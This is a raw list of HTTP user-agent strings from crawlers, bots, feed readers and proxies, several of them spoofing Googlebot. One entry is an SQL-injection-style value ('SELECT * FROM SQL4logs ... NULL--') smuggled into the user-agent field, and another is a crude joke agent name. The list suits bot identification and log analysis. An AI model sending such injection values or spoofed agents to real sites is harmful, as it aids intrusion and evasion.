rdfbotsupport AT rediffmailpro DOT com) rdfbot/1.0 (rdfbot-support@rediffmailpro.com) rdfbot/1.0 (rdfbotsupport AT rediffmailpro DOT com) rdfbot/Nutch-1.0-dev Read%20It%20Later%20Free/2.0.4 CFNetwork/459 Darwin/10.0.0d3 Read%20It%20Later%20Free/2.0.5 CFNetwork/459 Darwin/10.0.0d3 Read%20It%20Later%20Pro/2.0.3 CFNetwork/459 Darwin/10.0.0d3 REAP-crawler Nutch/Nutch-1.0-dev (Reap Project; http://reap.cs.cmu.edu/REAP-crawler/; Reap Project) REAP-crawler/Nutch-1.0-dev (Sapphire Web Crawler using Nutch; http://boston.lti.cs.cmu.edu/crawler/; mhoy@cs.cmu.edu) REBI-Shoveler v0.1 RED/1 (http://redbot.org/) RedBot/1.1 (Indian Language Web Search Engine; Rediff.com; pvvpr at iiit dot ac dot in) RedBot/redbot-1.0 (Rediff.com Crawler; redbot at rediff dot com) REDIRECT_FROM_SEO RegexBuddy REL Link Checker Lite 1.0 renlifangbot/1.0 (+http://search.msn.com/msnbot.htm) research-scan-bot/Nutch-1.0 RixBot (http://babelserver.org/rix) RixBot (http://babelserver.org/rix/) RKC Webcrawler/1.0 (TestDrive; +http://www.kochavchadash.com/webcrawler/webcrawler.aspx) RKC Webcrawler/1.0 (TestDrive;http://www.kochavchadash.com/webcrawler/webcrawler.aspx) RoadRunner/Nutch-1.0 (webmaster@fieldtech.org) Robobot FOOABR roboo/Nutch-1.0 (roboo; http://wap.roboo.com; winter.pi@roboo.com) roboobot/1.0 (roboo; http://wap.roboo.com; winter.pi@roboo.com) roboobot/Nutch-1.0 (roboobot; http://wap.roboo.com; winter.pi@roboo.com) robot46 robotgenius robotgenius (http://robotgenius.net) Robotgenius crawler/Nutch-1.0-dev (http://robotgenius.net; misc at robotgenius dot net) robotgenius/Nutch-1.0-dev Robots Bot Robozilla/1.0 Rojo 1.0 Rome Client (http://tinyurl.com/64t5n) Ver: 0.9 Ronzoobot/1.4 (http://www.ronzoo.com/about/) rootlink/0.1 RoRobbot (compatible; MSIE 7.0; Windows NT 6.0) RPT-HTTPClient/0.3-3E RPT-HTTPClient/3.3.3 RSS-Reader/0.2 (R&D project; http://everestbot.vulcan.com/bothelp) RSS-SPIDER (http://www.rss-spider.com/submit200709.php) RssReader/1.0.88.0 (http://www.rssreader.com) Microsoft Windows NT 6.1.7600.0 ru_viewer2 larbin2.6.3@unspecified.mail Ruby Ruby/1.8.6 Ruby/1.8.7 Ruby_test RufusBot (Rufus Web Miner; http://64.124.122.252/feedback.html) RufusBot (Rufus Web Miner; http://www.webaroo.com/rooSiteOwners.html) ruijie larbin@unspecified.mail Ruky-Bot (Version: 1.06, powered by www.ruky.de +http://www.ruky.de/bot.html) Ruky-Roboter (Version: 1.06, powered by www.ruky.de +http://www.ruky.de/bot.html) RwB's spider for atUKplc. Version 0.0.3ish S2Bot/1.0 (http://search2.net) S2Bot/1.0 (http://search2.net; bot[at]search2[dot]net) S5-E32PVAMTU8NJS sad SafariBookmarkChecker/1.27 (+http://www.coriolis.ch/) SafariBookmarkChecker/1.30 (+http://www.coriolis.ch/) sait/Nutch-0.9 (SAIT Research; http://www.samsung.com) SaladSpoon/ShopSalad 1.0 (Search Engine crawler for ShopSalad.com; http://shopsalad.com/en/partners.html; crawler AT sho... SaladSpoon/ShopSalad 1.0 (Search Engine crawler for ShopSalad.com; http://shopsalad.com/en/partners.html; crawler@shopsa... Sam Spade 1.14 SAMSUNG-SGH-E250/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0 (compatible; Googl... SAMSUNG-SGH-E250/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0 (compatible; Googl... SAMSUNG-SGH-E250/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0 (compatible; Googl... SAMSUNG-SGH-i900/1.0; Opera/10.00 (Windows NT 5.1; U; Googlebot/2.1 (+http://www.google.com/bot.html); ru) Presto/2.2.0 SandCrawler - Compatibility Testing Sangfor Spider SapphireWebCrawler/1.0 (Sapphire Web Crawler using Nutch; http://boston.lti.cs.cmu.edu/crawler/; mhoy@cs.cmu.edu) SapphireWebCrawler/Nutch-1.0 (Sapphire Web Crawler using Nutch; http://boston.lti.cs.cmu.edu/crawler/; lezhao+crawl@cs.c... SapphireWebCrawler/Nutch-1.0 (Sapphire Web Crawler using Nutch; http://boston.lti.cs.cmu.edu/crawler/; philgooh@cs.cmu.e... SapphireWebCrawler/Nutch-1.0-dev (Sapphire Web Crawler using Nutch; http://boston.lti.cs.cmu.edu/crawler/; mhoy@cs.cmu.e... Sarcasm/0.2.1.93 (compatible) filecache sasqia Bot Search Savvy 1.1 http://anesgysd.byethost7.com/bot.html SBIder/0.7 (SBIder; http://www.sitesell.com/sbider.html; http://support.sitesell.com/contact-support.html) SBIder/0.8-dev (SBIder; http://www.sitesell.com/sbider.html; http://support.sitesell.com/contact-support.html) SBIder/Nutch-1.0-dev (http://www.sitesell.com/sbider.html) SBIder/SBIder-0.8.2-dev (http://www.sitesell.com/sbider.html) SBIder/SBIder-1.0 (http://www.sitesell.com/sbider.html) SBL-BOT (http://sbl.net) scaredFox/1.0a; (+http://crawlers.tdmsic.org/scaf_crawler.htm) Schäuble/Trojaner 2.0 [en] (Windows NT 6.0; U) schibstedsokbot (compatible; Mozilla/5.0; MSIE 5.0; FAST FreshCrawler 6; +http://www.schibstedsok.no/bot/) Schism/1.8 (IknowThePiecesFit; CuzIwatchedThemFallAway) Schloerbot/Nutch-1.0 (Schloer consulting bot; http://schloerconsulting.com/schloerbot) Schmozilla/v9.14 Platinum Science Traveller International 1X/1.0 science_crawler_by_informatics.indiana.edu/fil ScollSpider/2.0 (+http://www.webwobot.com/ScollSpider.php) Scout.Vortex ScrapeBox v1.0.0 Screaming Frog SEO Spider/1.30 scribdbot_user_agent: Mozilla/5.0 (compatible; Scribdbot/1.0; +http://www.scribd.com) ScSpider/0.2 SDBot.AKJ (Windows NT 6.0; U; en) Search Wikia Preview/0.1 Search/1.0.2 CFNetwork/342.1 Darwin/9.4.1 Search/1.0.2 CFNetwork/445.6 Darwin/10.0.0d3 SearchBlox searchbot admin@google.com searchdnabot/Nutch-1.0 (SearchDNA bot; http://searchenginedna.com; crawl at searchenginedna dot com) SearchEngineVerificationCrawler/Nutch-1.0 (The purpose of this crawling is to collect web pages for verifying search eng... searchevabot/0.1 ( http://searcheva.com/spider.html) SearchExpress SearchHub Bot (http://www.insynchro.net) Searchmee! Spider v0.98a SearchSight/2.0 (http://SearchSight.com/) SearchWarp_Crawler/2.0 (http://SearchWarp.com/) secondwave_aa larbin2.6.3@unspecified.mail secondwave_ab larbin2.6.3@unspecified.mail secondwave_ac larbin2.6.3@unspecified.mail Seekbot/1.0 (http://www.seekbot.net/bot.html) HTTPFetcher/2.1 Seekbot/1.0 (http://www.seekbot.net/bot.html) HTTPFetcher/2.2 Seekbot/1.0 (http://www.seekbot.net/bot.html) RobotsTxtFetcher/1.2 SeekGen/Nutch-0.9 (SeekGenBot; http://www.seekgen.com; Email) SELECT * FROM SQL4logs WHERE useragent = NULL-- SELECT * FROM SQL4logs WHERE useragent = NULL-- FirePHP/0.4 Semager/1.1 (http://www.semager.de/blog/semager-bots/) Semager/1.2 (http://www.semager.de/blog/semager-bots/) Semager/1.2 http://www.semager.de/blog/semager-bots/ Semager/1.3 http://www.semager.de/blog/semager-bots/ semantics webbot/1.0 SemtoBot/0.1 Semulator/1.0/707SC/SCJ001/SN123456789012345 Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 Sensis Web Crawler (search_comments\at\sensis\dot\com\dot\au) Sensis Web Crawler (search_comments\at\sensis\dot\com\dot\au) + Windows NT 6.0 SEO Consultants Directory CSH Bot V2S User IP:90.27.178.92 from: /tools/headers Seo Soft/1.49 - http://fr.webmaster-rank.info/?logiciel_de_referencement_gratuit SEO[.AG] - Search Engine Optimizer Bot [http://www.seo.ag] SEO[.AG] - Search Engine Optimizer Bot [http://www.seo.ag] SEO[.AG] - Search Engine Optimizer Bot [http://www.seo.ag] SEO[.AG] - Search Engine Optimizer Bot [http://www.seo.ag] SEOHeap SiteAnalysis (+http://www.seoheap.com/sa) SEOSearch [Crawler] Servage Robot ( http://www.servage.net/page/robot/ ) Server/Nutch-1.2 ServerOutlook/4.0 SexShop.Sg/Nutch-1.1 (www.SexShop.Sg; crawler@SexShop.Sg) SexShop.sg/Nutch-1.1 (www.SexShop.sg; crawler@www.sexshop.sg) SeznamBot/1.0 SeznamBot/2.0 (+http://fulltext.sblog.cz/robot/) SeznamBot/2.0 (+http://fulltext.seznam.cz/) SeznamBot/3.0-alpha (+http://fulltext.sblog.cz/) SeznamBot/3.0-beta (+http://fulltext.sblog.cz/) SeznamScreenshotator/2.0 (+http://fulltext.seznam.cz/) ShablastBot 1.0 shaboyi spider ShadowSurf FREE Anonymous Proxy http://www.shadowsurf.com [en] Shareaza v1.x.x.xx SharedService.Crawler ShareThisFetch/0.1.1 ShareThisFetcher/0.1.2 SharpReader/0.9.6.0 (.NET CLR 1.1.4322.573; WinNT 5.1.2600.0) SHC/Nutch-1.0 (SemanticHacker Crawler; http://www.semantichacker.com/crawler-info; abuse@semantichacker.com) SheenBot/SheenBot-1.0.0 (Sheen web crawler) SheenBot/SheenBot-1.0.1 (Sheen web crawler) SheenBot/SheenBot-1.0.2 (Sheen web crawler) SheenBot/SheenBot-1.0.3 SheenBot/SheenBot-1.0.3 (Sheen web crawler) SheenBot/SheenBot-1.0.4 (Sheen web crawler) Shelob (shelob@gmx.net) shelob v1.0 Shim-Crawler Shim-Crawler(Mozilla-compatible; http://www.logos.ic.i.u-tokyo.ac.jp/crawler/; crawl@logos.ic.i.u-tokyo.ac.jp) ShitEater Bot 1.0 ShopWiki/1.0 ( +http://www.shopwiki.com/wiki/Help:Bot) ShrinkTheWeb.com Crawler v1.0 ( http://www.shrinktheweb.com) ShrinkTheWeb.com Crawler v1.0 (+http://www.shrinktheweb.com) SibSocket Sidobot Sigram/Nutch-1.0-dev (Test agent for Nutch development; http://www.sigram.com/bot.html; bot at sigram dot com) silk/1.0 Silverton/1.0 Crawler SimilarPages/Nutch-1.0-dev (SimilarPages Nutch Crawler; http://www.similarpages.com; info at similarpages dot com) SimilarPages/Nutch-1.0-dev (SimilarPages Nutch Crawler; http://www.similarpages.com; info@similarpages.com) SimplePie/1.1.2 (Feed Parser; http://simplepie.org; Allow like Gecko) Build/20081109150825 SimplePie/1.2.1-dev (Feed Parser; http://simplepie.org; Allow like Gecko) Build/20100919094856 sincap 1.0 ( bu alemin en kral botu) SindiceBot (heritrix/2.0.2 +http://sindice.com/developers/bot) SindiceBot/Nutch-1.0-dev (http://sindice.com/dev?section=bot) SindiceBot/Nutch-1.0-dev (http://sindice.com/developers/bot) Sirketcebot/v.01 (http://www.sirketce.com/bot.html) Sirketcebot/v1.0 (http://www.sirketce.com/bot.php) Site Redirect Checker 2011.1 Site Sniper Pro Site-Perf.com performance testing bot SiteFile.org ( http://www.sitefile.org/www.toptruckingcarriers.com.htm ) SiteGuardBot support@@siteguard.com siteLevel.com/3.0 (http://www.sitelevel.com/) SitemapsPal.com Sitemaps Spider SiteSnagger SiteSpeedBot SiteSucker/2.2.4 SiteSucker/2.3 SiteSucker/2.3.3 SiteTruth.com site rating system SiteWinder SitiDi.net/SitiDiBot/1.0 ( Have Good Day) SkimFeed (tm) RSS Reader SkyGrid/1.0 (+http://skygrid.com/partners) Skywalker/0.1 (Skywalker; anonymous; anonymous) sledink Bot Search Sleipnir 2.8.4 Slip Knees 2.1 Slurp slurp, yahoo! slurp, slurp/2.0, inktomi slurp, slurp.so/1.0 Slurpem.com - Sucken Up The Web Slurpy Verifier/1.0 SlySearch/1.3 (http://www.slysearch.com) SmallProxy 3.2 Beta 11 SmallProxy 3.2 Beta 13 SmallProxy 3.2 Beta 14 SmallProxy 3.2 Beta 17 SmallProxy 3.2 Beta 18 SmallProxy 3.2 Beta 19 SmallProxy 3.2 Beta 20 SmallProxy 3.2 Beta 28 SmallProxy 3.3.0 Free SmallProxy 3.3.5 Free SmallProxy 3.3.6 Free SmallProxy 3.3.7 Free SmallProxy 3.4.0 Free SmallProxy 3.4.1 Free SmallProxy 3.4.12 Free SmallProxy 3.4.6 Free SmallProxy 3.4.9 Free SmallProxy 3.5.1 SmallProxy 3.5.2 SmallProxy 3.5.4 SmallProxy 3.5.8 smart.apnoti.com Robot/v1.34 (http://smart.apnoti.com/en/aboutApnotiWebCrawler.html) smart.apnoti.com Robot/v1.34 (http://smart.apnoti.com/index/aboutApnotiWebCrawler) smartview larbin2.6.3@unspecified.mail SmartyBot 2.0 Analytics http://bumblebeegarage.com/howitworks.html SmithRobot sna-0.0.1 (mikeelliott@hotmail.com) sna-0.0.1 mikeelliott@hotmail.com sna-0.0.1 mikemuzio@msn.com snap.com beta crawler v0 Snapbot/1.0 Snapbot/1.0 (+http://www.snap.com) Snapbot/1.0 (Snap Shots, +http://www.snap.com) Snappy/2.0 ( http://www.urltrends.com/ ) Snipr/Snipurl 404 Checker - http://snipr.com/site/404checker Snoopy v0.94 Snoopy v1.01 Snoopy v1.2 Snoopy v1.2.3 Snoopy v1.2.3 modified version/1.0 (Cyber Agent,Inc.; rv:1.0.1.1 http://ameblo.jp/star-emily/) Snoopy v1.2.3 modified version/1.0 (Seesaa Corp.; rv:1.0.0.1 http://star-akina.seesaa.net/) Snoopy v1.2.4 socbot search@socbay.com Socialite/1189 CFNetwork/454.9.4 Darwin/10.3.0 (i386) (iMac10%2C1) Socialite/1189 CFNetwork/454.9.4 Darwin/10.3.0 (i386) (iMac11%2C1) Socialite/1189 CFNetwork/454.9.4 Darwin/10.3.0 (i386) (MacBookPro3%2C1) Socialite/1189 CFNetwork/454.9.4 Darwin/10.3.0 (i386) (MacBookPro5%2C2) Socialite/1189 CFNetwork/454.9.4 Darwin/10.3.0 (i386) (MacBookPro5%2C5) Socialite1081 CFNetwork/438.14 Darwin/9.8.0 (0000) DDDDDDDDDDDDD SocialSpider-Finder/0.2 SockrollBot/.01 (+http://www.sockroll.com/roll/SockrollBot) SOFTWING_TEAR_AGENT_1_0 Sogou dev spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07) sogou develop spider Sogou develop spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07) Sogou head spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07) Sogou Orion spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07) Sogou Orion spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07) Sogou Pic Spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07) sogou push spider Sogou Push Spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07) sogou spider sogou spider2(+http://www.sogou.com/docs/help/webmasters.htm#07) Sogou Video /3.0(+http://www.sogou.com/docs/help/webmasters.htm#07) sogou web spider http://www.sogou.com/docs/help/webmasters.htm#07 Sogou web spider R1/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07) sogou web spider(+http://www.sogou.com/docs/help/webmasters.htm#07) Sogou web spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07) Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07) Sogou+test+robot+(+http://www.sogou.com/docs/help/webmasters.htm#07) Sogou+web+robot+(+http://www.sogou.com/docs/help/webmasters.htm#07) Sogou-Test-Spider/4.0 (compatible; MSIE 5.5; Windows 98) Sogou-Test-Spider/4.0 (compatiblsadasdasdasdasdasdit is justtest) sohu agent sohu-search SolomonoBot/1.01 (http://www.solomono.ru) SonyEricssonK750i/R1N Browser/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1/Nutch-1.0-dev SonyEricssonK800i/R1ED Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 (Mediobot/1.0 +http://bot.medio.com) Sosoimagespider+(+http://help.soso.com/soso-image-spider.htm) Sosospider+(+http://help.soso.com/webspider.htm) Space Bison 2 Space Bison/0.02 Space Bison/0.02 [fu] (VMS; X; SK) Space Bison/0.02 [fu] (Win67; X; SK) Space Bison/0.02 [fu] (Win67; X; SK),gzip(gfe) (via translate.google.com) Space Bison/0.02 [fu] (WinRIP) SpaceBison/0.01 [fu] (Win67; X; ShonenKnife) spah/0.1 +mailto:info@ spacaweb.com spamBLOCK/get.to.db-danish (sjc0.tdmsic.org - Red Hat) Speedy Spider (Beta/1.0; speedy@entireweb.com) Speedy Spider (Beta/1.0; www.entireweb.com) Speedy Spider (Entireweb; Beta/1.0; http://www.entireweb.com/about/search_tech/speedyspider/) Speedy Spider (Entireweb; Beta/1.1; http://www.entireweb.com/about/search_tech/speedyspider/) Speedy Spider (Entireweb; Beta/1.2; http://www.entireweb.com/about/search_tech/speedyspider/) Speedy Spider (Entireweb; Beta/1.3; http://www.entireweb.com/about/search_tech/speedyspider/) Speedy Spider (http://www.entireweb.com/about/search_tech/speedy_spider/) Speedy Spider (http://www.entireweb.com/about/search_tech/speedyspider/) Speedy+Spider+(http://www.entireweb.com/about/search_tech/speedy_spider/) Sphere Scout&v4.0 - scout at sphere dot com Sphider Sphider2 sphsearch.org/Nutch-1.0 (sphsearch.org; crawler@sphsearch.org) sphsearch.org/Nutch-1.0-dev (www.sphsearch.org; crawler@sphsearch.org) spider Spider (Java EE; Windows NT; +http://www.daniel-nowak-ug.de) Resource Description Engine Spider Indexer Beta2 Spider.my (+http://spider.my/) Rojak/box0045/Streamyx1M Spider.TerraNautic.net Spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07) Spider/5.0 SpiderBoost/6.0 (compatible; Googlebot/2.2; +http://www.google.com/bot.html) SpiderCow-BM SpiderKU/0.9 SpiderMan/1.0 SpiderMan/Nutch-0.9 (Nutch spiderman; http://spiderman.nutch.com ; MyEmail) Spock Crawler (http://www.spock.com/crawler) SpokeSpider/1.0 (http://support.spoke.com/webspider/) Mozilla/5.0 (not really) Spongelink Spongebot (http://www.spongelink.com/spongebot/spongebot.php) sproose/0.1 (sproose bot; http://www.sproose.com/bot.html; crawler@sproose.com) sproose/0.1-alpha (sproose crawler; http://www.sproose.com/bot.html; crawler@sproose.com) sproose/1.0beta (sproose bot; http://www.sproose.com/bot.html; crawler@sproose.com) spywareFINDER/get.to.db-danish (sjc0.tdmsic.org - Red Hat) Squid Squid hermiod.kunesch.net SquidClamAV_Redirector 1.7.0 SquidClamAV_Redirector 1.8.2 ssearch_bot (sSearch Crawler; http://www.semantissimo.de) ssearch_bot/Nutch-1.0 (sSearch Crawler; http://www.semantissimo.de) SSL Labs (https://www.ssllabs.com/) StackRambler/2.0 (MSIE incompatible) StatoolsBot (+http://www.statools.com/bot.html) StatusNet/0.9.0 (Stand) StatusNet/0.9.0beta5 (Stand) StatusNet/0.9.1 (Everybody Hurts) Stealth Session Steeler/3.3 (http://www.tkl.iis.u-tokyo.ac.jp/~crawler/) STEROID Download StoneHttpAgent STRYDER__00 Student study spider#007 Subtext Version 2.0.0.43 - http://subtextproject.com/ (Microsoft Windows NT 5.2.3790 Service Pack 2; .NET CLR 2.0.50727.... Sumimasen Spider 1.2 webmaster@sumimasen.com Summify (Summify/1.0; +http://summify.com) Sunrise XP/2.0 Sunrise/0.42g (Windows XP) Sunrise/0.42i (Windows XP) SuperBot/2.5 (Win32) SuperBot/4.1.0.53 (Windows XP) SuperBot/4.5.0.65 (Win32) SuperBot/4.5.0.66 (Windows XP) SuperBot/4.7.0.70 (Windows XP) SuperBot/4.7.0.72 (Windows XP) SuperBot/4.7.0.74 (Windows Vista) SuperHTTP/1.0 SuperPagesBot SuperPagesBot/0.1 SuperPagesBot/0.2 SuperPagesBot/1.0 SuperPagesUrlVerifyBot/1.0 SURF Surf Knight (bot@surfknight.com) Surf4Me SurfControl Survey Robot SurveyBot/2.3 (Whois Source) Swami1/Swami-1.1 (Swami Vertical Site Fetcher; devarajaswami at yahoo dot com) SWAT Crawler. AGH University project. In case of problem contact: opal@tempus.metal.agh.edu.pl. Thanks. swish-e http://swish-e.org/ SygolBot http://www.sygol.com SynapticWalker/3.16 (MailWalker 2.1 http://www.websynaptics.com) Syndk8/0.1337 (Syndk8 Research Crawler; http://research.syndk8.com/; research@syndk8.com) Synthesio Crawler release MonaLisa (contact at synthesio dot fr) Syntryx ANT Scout Chassis Pheromone; Mozilla/4.0 compatible crawler T-Mobile Dash Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone; 320x240;) MSNBOT-MOBILE/1.1 (+http://search.ms... Tagatum TagSpider v0.4b-FF http://tagatum.com/about/ tags2dir.com/0.8 (+http://tags2dir.com/directory/) TailsweepBlogCrawler/Tailsweep-2.6-SNAPSHOT (http://www.tailsweep.com/; bot at [tailsweep] dot com) TalkPortalCrawler/1.0 TANNER Spider/Nutch-1.1 Tannoy Tarantula Web Crawler (1.0;) Author: AMK Tasapspider/0.9 Tasapspider/0.9 (http://www.tasap.com) TasBot (compatible; Mozilla 4.0; MSIE 5.5; http://www.toboads.si/) Tasty/1.0.6 (iPhone OS/4.0.1, iPhone, en_GB) Tcl http client package 2.4.2 Tcl http client package 2.5.2 Tcl http client package 2.5.3 Tcl http client package 2.7.3 TDMSIC.ORG - Red Hat Enterprise Linux 5.3 TeamSoft WinInet Component TecAce.LawServiceAgent.0131 Technoratibot/0.7 Teemer (NetSeer, Inc. is a Los Angeles based Internet startup company.; http://www.netseer.com/crawler.html; crawler@net... Teemer (NetSeer, Inc.; http://www.netseer.com/crawler.html; crawler@netseer.com) Teleport Pro/1.29 Telligent.Common (Microsoft Windows NT 5.2.3790 Service Pack 2; .NET CLR 2.0.50727.3603;) Telling/0.1.8.72 (compatible) filecache temaseek.com/Nutch-1.0 (temaseek.com; crawler@temaseek.com) TencentTraveler 4.0 Teoma Teoma/Nutch-1.0 (Mozilla/5.0 (compatible; Ask Jeeves/Teoma); http://about.ask.com/en/docs/about/webmasters.shtml) Teoma/Nutch-1.2 ( Question and Answer Search; Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://sp.ask.com/docs/about/t... test bot Test crawler Nutch/Nutch-1.0-dev (Nutch Test Project; changkuk@cmu.edu) test spider Test-Fetcher-0.1/Nutch-0.9 (Awesomeness) Test.Buzzz/Nutch-0.8.1 (Test.Buzz; http://test.com; test@test.com) test/Nutch-0.8.1 (Test robot; http://test.com; info at test.com>) test/unique/Nutch-0.8.1 test_rodo TestBot-YSTReltools TestBot/Nutch-1.1 TestCrawler/Nutch-0.9 (Testing Crawler for Research ; http://balihoo.com/index.aspx; tgautier at balihoo dot com) TestCrawler/Nutch-0.9 (Testing Crawler for Research ; http://chitchit.org/TestCrawler.html; amitjain at spro dot net) testRobot TestSpider/Nutch-1.0-dev TFC 3.0 ThaiSUE-Crawler The Expert HTML Source Viewer (http://www.expert-html.com) The Incutio XML-RPC PHP Library -- WordPress/3.0.4 The Incutio XML-RPC PHP Library -- WordPress/3.1 the.cyrus.hellborg.sharecrawler resilient community darknet tool http://cyrus-hellborg.appspot.com/?excerpt=sharecrawler Theme/0.1.8.72 (compatible) filecache TheRarestParser (http://therarestwords.com/) TheRarestParser/0.2a TheRarestParser/0.2a (http://therarestwords.com/) TheRarestParser/0.4b (http://rarestblog.com/therarestparser/) ThingFetcher ThingFetcher; (+http://thinglabs.com) THis is EricBot mkay.{}sdfw21 ThumbShots-Bot (+http://thumbshots.in/bot.html) thumbshots-de-bot (+http://www.thumbshots.de) thumbshots-de-bot (+http://www.thumbshots.de) thumbshots-de-bot (+http://www.thumbshots.de/) thumbshots-de-Bot (Version: 1.02, powered by www.thumbshots.de) tidnncaurbx wrqboTd j TinDog2 TinEye/1.0 (http://tineye.com/crawler.html) TinEye/1.1 (http://tineye.com/crawler.html) tinyspider-mayu-paulli Tipiweb/Nutch-1.0 (http://www.tipiweb.net) TL32Sn tlg-google-93465 TMBot (TMBot; www.TM.com) TMCrawler tmsnbot/1.0 (+http://search.msn.com/msnbot.htm) to-night-Bot (Version: 1.06, powered by www.to-night.de +http://www.to-night.de/pfadzurbotseite/bot.html) toddwe6 l tcaoddtEnmbeokndrebiu tomocha love/4.0 WindowsNT 5.0 toofaan/Nutch-1.0 (http://www.toofaan.com) topicblogs/0.9 Toplistbot topyx-crawler Touche (+http://www.touche.com.ve) TOWNNEWS Internal server agent TraceLink 0.1 TrackBack/1.02 trafficbloater/1.0+(TrafficBloater;+http://www.trafficbloater.com) Trailfire-bot/0.7.1 (Trailfire page content analyzer; http://trailfire.com; info@trailfire.com) Trailfire/0.7.1 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org) travel-search trendictionbot TRINIDAD-1266 FirePHP/0.1.2 TrueKnowledgeBot (http://www.trueknowledge.com/tkbot/; tkbot -AT- trueknowledge _dot_ com) trunk.ly spider contact@trunk.ly Tsinghua AI Lab Robot Tsinghua AI Lab Robot 2.0 TulipChain/5.x (http://ostermiller.org/tulipchain/) Java/1.x.1_0x (http://java.sun.com/) Linux/2.4.17 TulipChain/5.xx (http://ostermiller.org/tulipchain/) Java/1.x.1_0x (http://apple.com/) Mac_OS_X/10.2.8 Tumblr/1.0 RSS syndication (+http://www.tumblr.com/) (support@tumblr.com) TurnitinBot/2.0 (http://www.turnitin.com/robot/crawlerinfo.html) TurnitinBot/2.0 http://www.turnitin.com/robot/crawlerinfo.html TurnitinBot/2.1 (http://www.turnitin.com/robot/crawlerinfo.html) TutorGigBot/1.5 ( +http://www.tutorgig.info ) tw_com_viewer larbin2.6.3@unspecified.mail TwengaBot TwengaBot-Discover (http://www.twenga.fr/bot-discover.html) TwengaBot/2.0 TwengaBot/2.0 (http://www.twenga.com/bot.html) TwengaBot/2.0 text/* Twib::Crawler twiceler Twiceler www.cuill.com/robots.html Twiceler www.cuill.com/twiceler/robot.html Twiceler-0.9 http://www.cuill.com/twiceler/robot.html Twingly Recon Twisted PageGetter Twitterbot/0.1 Twitterbot/0.1 TwitterFonPro/327 CFNetwork/459 Darwin/10.0.0d3 TwitterIrcGateway/0.0.0+r35371 (tig.rb; net-irc) Ruby/1.8.7 (universal-darwin10.0) TwitterIrcGateway/unknown (tig.rb; net-irc) Ruby/1.8.7 (i486-linux) TwitterReseach Twitterrific/2.1 CFNetwork/445.6 Darwin/10.0.0d3 Twitterrific/2.1.6 CFNetwork/459 Darwin/10.0.0d3 Twitturly / v0.5 Twitturly / v0.6 Tycoon Agent/Nutch-1.0-dev Typhoeus - http://github.com/pauldix/typhoeus/tree/master uberbot 1.0 UCMore Crawler App UdmSearch/3.1.x UFO/77.7 (CoSMoS; Z; Pearl 256; peep) F!R3F0>< P\/\/NS y0! ULTRA NAZI TIME-TRAVELLING SPAMBOT FROM THE YEAR 6284/0.1 (compatible; MSIE 458.1; Windows NT 97.0; en-GB) UltraUptime/1.0 (compatible; MSIE 6.0; Windows NT 5.1) um_bicho/0.1 (macrothela) um_bicho\0.1 (+macrothela) Understatement/0.2.1.93 (compatible) filecache Unicorn/1.0 university/Nutch-1.0 (research) University_Bot_Beta_1 (compatible; MSIE 6.0;) Unknown Bot unknown/1.0 unknown/1.0 (CP/M; 8-bit) UnSpun by Amazon UnwindFetchor/1.0 (+http://www.gnip.com/) updated/0.1beta (updated.com; http://www.updated.com; crawler@updated.com) URI::Fetch/0.08 Url%20Extractor%20X3.0.1 CFNetwork/438.14 Darwin/9.8.0 (Power%20Macintosh) (PowerBook6%2C5) URL.ie Monitor ( http://url.ie/ ) URL_Spider_Pro/2.5+(http://www.innerprise.net/usp-spider.asp) URL_Spider_Pro/3.0 (http://www.innerprise.net/usp-spider.asp) url_test larbin2.6.3@unspecified.mail URLBase/6.1 URLChecker URLDBCleaner/1.0 urlfan-bot/1.0; +http://www.urlfan.com/site/bot/350.html urllib2 (Python 2.6.4) urlresolver URLValidator 0.1/krisp libwww-perl/5.813 Urlvoid Check Agent (+http://www.urlvoid.com) Urlvoid Page Dump (+http://www.urlvoid.com) us_com_viewer larbin2.6.3@unspecified.mail User Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) user-agent badguy 1.0 (funky fibbon) User-Agent Nutscrape/1.0 (CP/M; 8-bit) User-Agent: BoardReader Favicon Fetcher /1.0 info@boardreader.com User-Agent: DoCoMo/2.0 N905i(c100;TB;W24H16) User-Agent: FPLinkChecker/1.2 User-Agent: Googlebot/2.1 (+http://www.googlebot.com/bot.html) User-Agent: Mozilla/4.0 (http://www.fast-search-engine.com/) User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) User-agent: Nokia6820/2.0 (4.83) Profile/MIDP-1.0 Configuration/CLDC-1.0 (compatible; Googlebot-Mobile/2.1; +http://www.... user_agent=Mp3Bot/0.1 (http://mp3realm.org/mp3bot/) UserAgent:Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) useragent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) USyd-NLP-Spider (http://www.it.usyd.edu.au/~vinci/bot.html) usyd.schwa.lab.nlp.research/Nutch-1.1 (http://it.usyd.edu.au/~smerity/schwa/crawler/; smerity %AT% it.usyd.edu.au) UtilMind HTTPGet Utopia WebWasher 3.0 uw_cse_xwci uw.crawler@gmail.com http://myst.cs.washington.edu/index.html/Nutch-0.9 (University of Washington Computer S... Vacobot; (+http://vaco.ws/bot.html) VadixBot VadixBot_Exp Vagabondo/3.0 (webagent at wise-guys dot nl) Validator.nu/3 ValueClick LM 